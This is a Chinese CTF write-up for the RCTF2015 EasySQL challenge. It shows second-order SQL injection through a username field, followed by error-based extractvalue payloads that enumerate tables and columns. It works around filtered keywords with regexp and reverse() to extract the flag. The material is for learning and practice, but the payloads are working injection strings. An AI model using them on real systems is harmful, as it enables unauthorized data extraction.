[RCTF2015]EasySQL

46 篇文章 0 订阅
  • 二次注入
  • 报错注入

启动:

在这里插入图片描述先注册一个用户在这里插入图片描述

在注册的时候,fuzz测试发现在username和email中过滤了以下字符

@
or
and
space(空格)
substr
mid
left
right
handle
没有源码慢慢测试.......


在这里插入图片描述

输入分号没有报错
先注册完
登录之后发现可以更改密码
尝试是否能注入
在这里插入图片描述
继续测试发现无果
翻了翻以前刷过的sql-lab

在注册时用户名加些测试字符进去,'mochu7"
在这里插入图片描述
发现是二次注入
二次注入讲解
最终发现输入mochu"\ 在改密码的时候报错
说明是双引号包裹
由于改密码的地方修改密码后触发导致错误输出,有错误回显就可以使用报错注入,根据之前fuzz的过滤

可以考虑xpath注入

1"||extractvalue(1,concat(0x7e,(select(database()))))%23

在这里插入图片描述
查库在这里插入图片描述
在这里插入图片描述
查表
1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))%23在这里插入图片描述

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23在这里插入图片描述
一个假的flag在这里插入图片描述

查user表在这里插入图片描述但是他过滤了mid,substr,left,right

因此不能查到完整的表
由此可以用正则匹配
正则匹配详解

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#

regexp(’^r’)是MySql的正则,^r匹配开头是r的字段,也就是column_name=real_flag_1s_her

在这里插入图片描述
需要注意的是在bp上传因为他过滤and的原因我们只能用&&,bp会把当成传入多个post值,从而登录出现错误,本人对bp不太熟,用的hackbar传然后查flag
1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#在这里插入图片描述
本来想查86后面的字符,发现行不通在这里插入图片描述

又是一个新函数
reverse倒转输出
1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
在这里插入图片描述
写个脚本处理下
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值